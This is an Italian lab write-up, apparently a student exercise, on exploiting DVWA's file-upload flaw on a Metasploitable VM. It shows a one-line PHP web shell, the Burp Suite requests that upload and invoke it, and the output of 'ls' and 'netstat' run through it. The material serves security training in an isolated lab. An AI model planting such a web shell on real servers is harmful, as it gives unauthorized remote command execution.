



# EXPLOIT FILE UPLOAD

MATTIA  
PASTORELLI



# COMANDA:

Configurate il vostro laboratorio virtuale in modo tale che la macchina Metasploitable sia raggiungibile dalla macchina Kali Linux. Assicuratevi che ci sia comunicazione tra le due macchine.

Lo scopo dell'esercizio di oggi è sfruttare la vulnerabilità di «file upload» presente sulla DVWA per prendere controllo della macchina ed eseguire dei comandi da remoto tramite una shell in PHP.

Inoltre, per familiarizzare sempre di più con gli strumenti utilizzati dagli Hacker Etici, vi chiediamo di intercettare ed analizzare ogni richiesta verso la DVWA con BurpSuite.



# CODICE PHP



In figura possiamo notare il nostro codice PHP:

1. `<?php`: Questo è il tag di apertura per iniziare un blocco di codice PHP.
2. `system($_REQUEST["cmd"]);`: Questa è la linea critica del codice. Utilizziamo la funzione `system()` di PHP per eseguire un comando del sistema operativo. Il comando viene preso dall'input dell'utente tramite la variabile `$_REQUEST["cmd"]`.
  - `$_REQUEST` è un array associativo in PHP che contiene dati inviati al server tramite i metodi GET, POST. In questo caso, si sta cercando un parametro chiamato "cmd".

L'utente può immettere qualsiasi comando del sistema operativo come valore per "cmd", e questo comando verrà eseguito senza alcuna verifica o sanitizzazione da parte del web server.

```
(kali㉿kali)-[~/Desktop]
$ cat shell.php
<?php system($_REQUEST["cmd"]); ?>

(kali㉿kali)-[~/Desktop]
$ 
```

# CARICARE IL CODICE SULLA NOSTRA DVWA

Una volta scritto il nostro script in un documento e salvato sul Desktop in .php, possiamo andare sulla nostra DVWA Metasploitable, effettuare l'accesso e settare il livello di difesa su "Low".

Dopodichè procediamo al caricamento del file nella sezione upload.

Il tutto verrà monitorato attraverso Burpsuite, per controllare i flussi delle richieste Get e Post.

Nella seconda immagine possiamo notare un percorso nel quale verrà inserito la shell.

```
Pretty Raw Hex
1 POST /dvwa/vulnerabilities/upload/ HTTP/1.1
2 Host: 192.168.1.32
3 Content-Length: 434
4 Cache-Control: max-age=0
5 Upgrade-Insecure-Requests: 1
6 Origin: http://192.168.1.32
7 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MdIRqte4GxyBUgA
8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36
9 Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
10 Referer: http://192.168.1.32/dvwa/vulnerabilities/upload/
11 Accept-Encoding: gzip, deflate, br
12 Accept-Language: en-US,en;q=0.9
13 Cookie: security=low; PHPSESSID=9313aa29f5becffbf24dd030dbf32ff
14 Connection: close
15
16 ----WebKitFormBoundary7MdIRqte4GxyBUgA
17 Content-Disposition: form-data; name="MAX_FILE_SIZE"
18
19 100000
20 ----WebKitFormBoundary7MdIRqte4GxyBUgA
21 Content-Disposition: form-data; name="uploaded"; filename="shell.php"
22 Content-Type: application/x-php
23
24 <?php system($_REQUEST["cmd"]); ?>
25
26 ----WebKitFormBoundary7MdIRqte4GxyBUgA
27 Content-Disposition: form-data; name="Upload"
28
29 Upload
30 ----WebKitFormBoundary7MdIRqte4GxyBUgA-
31
```

The screenshot shows the DVWA File Upload interface. On the left, a sidebar lists various vulnerabilities: Home, Instructions, Setup, Brute Force, Command Execution, CSRF, File Inclusion, SQL Injection, SQL Injection (Blind), **Upload**, XSS reflected, and XSS stored. The 'Upload' item is highlighted with a green background. The main content area has a title 'Vulnerability: File Upload'. It contains a 'Choose an image to upload:' input field with a 'Choose File' button and a 'No file chosen' message. Below it is a 'Upload' button. A yellow callout box displays the message '.../.../hackable/uploads/shell.php successfully uploaded!'. At the bottom, there's a 'More info' section with three links: [http://www.owasp.org/index.php/Unrestricted\\_File\\_Upload](http://www.owasp.org/index.php/Unrestricted_File_Upload), <http://blogs.securiteam.com/index.php/archives/1268>, and <http://www.acunetix.com/websitetecurity/upload-forms-threat.htm>.

# INSERIRE PERCORSO NELL'URL

Inserendo nell'url il percorso evidenziato nella slide precedente (**/hackable/uploads/shell.php**) verremo indirizzati sulla pagina (figura2). Questo vorrà dire che avremo pienamente preso il controllo del sito e potremo utilizzare la barra dei comandi come un prompt dei comandi.

Il tutto verrà filtrato da Burpsuit (figura1), il quale avrà intercettato questa richiesta Get e nella quale sarà presente la nostra <shell.php>.

The screenshot shows a Burpsuit interface. At the top, a network trace displays binary data. Below it, a request is captured:

```
Request to http://192.168.1.32:80
Forward Drop Intercept is on Action Open browser
Pretty Raw Hex
1 GET /dvwa/hackable/uploads/shell.php HTTP/1.1
2 Host: 192.168.1.32
3 Upgrade-Insecure-Requests: 1
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.100 Safari/537.36
5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=1.0
6 Accept-Encoding: gzip, deflate, br
7 Accept-Language: en-US,en;q=0.9
8 Cookie: security=low; PHPSESSID=e8d33a9f68f74bd23a80a0880609a9bc
9 Connection: close
10
11
```

Below the request, a browser window shows the response:

192.168.1.32/dvwa/hackable/uploads/shell.php  
Not secure  
Warning: system() [[function.system](#)]: Cannot execute a blank command in /var/www/dvwa/hackable/uploads/shell.php on line 1

# INSERIRE PERCORSO NELL'URL



Per constatare se abbiamo pieno controllo sul sito, andiamo ad inserire cmd=ls nell'url.

Questo ci permetterà di controllare cosa ci sia nella directory selezionata, il che significa che il nostro codice ha funzionato.

Tramite burpsuite possiamo notare che il comando viene riconosciuto e passato all'interno della richiesta Get

The screenshot shows the Burp Suite interface. At the top, a browser window displays the URL `192.168.1.32/dvwa/hackable/uploads/shell.php?cmd=ls`. Below the browser is the Burp Suite proxy interface. The "Proxy" tab is selected, and the "Intercept" sub-tab is also selected. In the "Raw" tab of the proxy interface, the following HTTP request is visible:

```
1 GET /dvwa/hackable/uploads/shell.php?cmd=ls HTTP/1.1
2 Host: 192.168.1.32
3 Upgrade-Insecure-Requests: 1
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/ap
6 Accept-Encoding: gzip, deflate, br
7 Accept-Language: en-US,en;q=0.9
8 Cookie: security=low; PHPSESSID=e8d33a9f68f74bd23a80a0880609a9bc
9 Connection: close
10
11
```

# ALTRI COMANDI

in questo caso viene inserito il cmd=netstat, viene utilizzata per visualizzare e analizzare le connessioni di rete e le statistiche di un sistema operativo.

Nella figura sotto possiamo notare il risultato di tale ricerca, il tutto viene sempre filtrato da burpsuite.

.1.32/dvwa/hackable/uploads/shell.php?cmd=netstat

```
Active Internet connections (w/o servers) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 METASPLOITABLE.stat:www kali.station:58442 TIME_WAIT tcp 0 0 METASPLOITABLE.stat:www kali.station:34418 TIME_WAIT tcp 0 0 METASPLOITABLE.stat:www kali.station:42596 TIME_WAIT tcp 0 0 METASPLOITABLE.stat:www kali.station:53400 ESTABLISHED tcp 0 0 METASPLOITABLE.stat:www kali.station:55854 TIME_WAIT tcp 0 0 METASPLOITABLE.stat:www kali.station:41990 TIME_WAIT tcp 0 0 METASPLOITABLE.stat:www kali.station:34416 TIME_WAIT tcp 0 0 METASPLOITABLE.stat:www kali.station:58438 TIME_WAIT tcp 0 0 METASPLOITABLE.stat:www kali.station:58432 TIME_WAIT tcp 0 0 METASPLOITABLE.stat:www kali.station:37670 TIME_WAIT tcp 0 0 METASPLOITABLE.stat:www kali.station:58448 TIME_WAIT tcp 0 0 METASPLOITABLE.stat:www kali.station:37634 TIME_WAIT tcp 0 0 METASPLOITABLE.stat:www kali.station:37654 TIME_WAIT tcp 0 0 METASPLOITABLE.stat:www kali.station:50710 TIME_WAIT tcp 0 0 METASPLOITABLE.stat:www kali.station:37640 TIME_WAIT tcp 0 0 METASPLOITABLE.stat:www kali.station:57368 TIME_WAIT tcp 0 0 METASPLOITABLE.stat:www kali.station:37622 TIME_WAIT udp 0 0 localhost:60366 localhost:60366 ESTABLISHED Active UNIX domain sockets (w/o servers) Proto RefCnt Flags Type State I-Node Path unix 14 [ ] DGRAM 10762 /dev/log unix 2 [ ] DGRAM 5758 @/com/ubuntu/upstart unix 2 [ ] DGRAM 5982 @/org/kernel/udev/udevd unix 2 [ ] DGRAM 12378 unix 3 [ ] STREAM CONNECTED 12289 /tmp/.X11-unix/X0 unix 3 [ ] STREAM CONNECTED 12287 unix 3 [ ] STREAM CONNECTED 12288 /tmp/.X11-unix/X0 unix 3 [ ] STREAM CONNECTED 12286 unix 2 [ ] DGRAM 12249 unix 2 [ ] DGRAM 12190 unix 2 [ ] DGRAM 11974 unix 2 [ ] DGRAM 11906 unix 2 [ ] DGRAM 11895 unix 3 [ ] STREAM CONNECTED 11892 unix 3 [ ] STREAM CONNECTED 11891 unix 3 [ ] STREAM CONNECTED 11888 unix 3 [ ] STREAM CONNECTED 11887 unix 3 [ ] STREAM CONNECTED 11884 unix 3 [ ] STREAM CONNECTED 11883 unix 3 [ ] STREAM CONNECTED 11880 unix 3 [ ] STREAM CONNECTED 11879 unix 3 [ ] STREAM CONNECTED 11876 unix 3 [ ] STREAM CONNECTED 11875 unix 3 [ ] STREAM CONNECTED 11872 unix 3 [ ] STREAM CONNECTED 11871 unix 3 [ ] STREAM CONNECTED 11868 unix 3 [ ] STREAM CONNECTED 11867 unix 3 [ ] STREAM CONNECTED 11864 unix 3 [ ] STREAM CONNECTED 11863 unix 3 [ ] STREAM CONNECTED 11860 unix 3 [ ] STREAM CONNECTED 11859 unix 3 [ ] STREAM CONNECTED 11856 unix 3 [ ] STREAM CONNECTED 11855 unix 3 [ ] STREAM CONNECTED 11852 unix 3 [ ] STREAM CONNECTED 11851 unix 3 [ ] STREAM CONNECTED 11848 unix 3 [ ] STREAM CONNECTED 11847 unix 3 [ ] STREAM CONNECTED 11844 unix 3 [ ] STREAM CONNECTED 11843 unix 3 [ ] STREAM CONNECTED 11840 unix 3 [ ] STREAM CONNECTED 11839 unix 3 [ ] STREAM CONNECTED 11836 unix 3 [ ] STREAM CONNECTED 11835 unix 3 [ ] STREAM CONNECTED 11832 unix 3 [ ] STREAM CONNECTED 11831 unix 3 [ ] STREAM CONNECTED 11828 unix 3 [ ] STREAM CONNECTED 11827 unix 3 [ ] STREAM CONNECTED 11824 unix 3 [ ] STREAM CONNECTED 11823 unix 3 [ ] STREAM CONNECTED 11820 unix 3 [ ] STREAM CONNECTED 11819 unix 3 [ ] STREAM CONNECTED 11816 unix 3 [ ] STREAM CONNECTED 11815 unix 3 [ ] STREAM CONNECTED 11812 unix 3 [ ] STREAM CONNECTED 11811 unix 3 [ ] STREAM CONNECTED 11808 unix 3 [ ] STREAM CONNECTED 11807 unix 3 [ ] STREAM CONNECTED 11804 unix 3 [ ] STREAM CONNECTED 11803 unix 3 [ ] STREAM CONNECTED 11800 unix 3 [ ] STREAM CONNECTED 11799 unix 3 [ ] STREAM CONNECTED 11796 unix 3 [ ] STREAM CONNECTED 11795 unix 3 [ ] STREAM CONNECTED 11792 unix 3 [ ] STREAM CONNECTED 11791 unix 3 [ ] STREAM CONNECTED 11788 unix 3 [ ] STREAM CONNECTED 11787 unix 3 [ ] STREAM CONNECTED 11785 unix 3 [ ] STREAM CONNECTED 11784 unix 3 [ ] STREAM CONNECTED 11781 unix 3 [ ] STREAM CONNECTED 11780 unix 3 [ ] STREAM CONNECTED 11778 unix 3 [ ] STREAM CONNECTED 11777 unix 2 [ ] DGRAM 11764 unix 2 [ ] DGRAM 11457 unix 2 [ ] DGRAM 11084 unix 2 [ ] DGRAM 11068 unix 2 [ ] DGRAM 10858 unix 2 [ ] DGRAM 10829
```